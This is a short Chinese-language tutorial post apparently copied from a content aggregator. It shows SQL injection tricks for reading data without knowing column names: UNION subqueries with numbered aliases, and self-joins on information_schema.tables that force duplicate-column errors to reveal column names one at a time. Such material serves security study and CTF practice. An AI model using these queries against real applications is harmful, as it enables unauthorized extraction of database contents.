sql注入(利用join进行无列名注入)

Posted 112226

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入(利用join进行无列名注入)相关的知识,希望对你有一定的参考价值。

select 1,2,3 union select * from sc;
select `1` from (select 1,2,3 union select * from sc)a;
select `2` from (select 1,2,3 union select * from sc)a;

select * from sc;

select 1,2,3 union select * from sc;

select `1` from (select 1,2,3 union select * from sc)a;

join 报错来爆列名

select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b)c;

得到第一列列名 table_catalog

select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b using(table_catalog))c;

得到第二列列名 table_schema

select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b using(table_catalog,table_schema))c;
可得第三列列名 依次枚举

以上是关于sql注入(利用join进行无列名注入)的主要内容,如果未能解决你的问题,请参考以下文章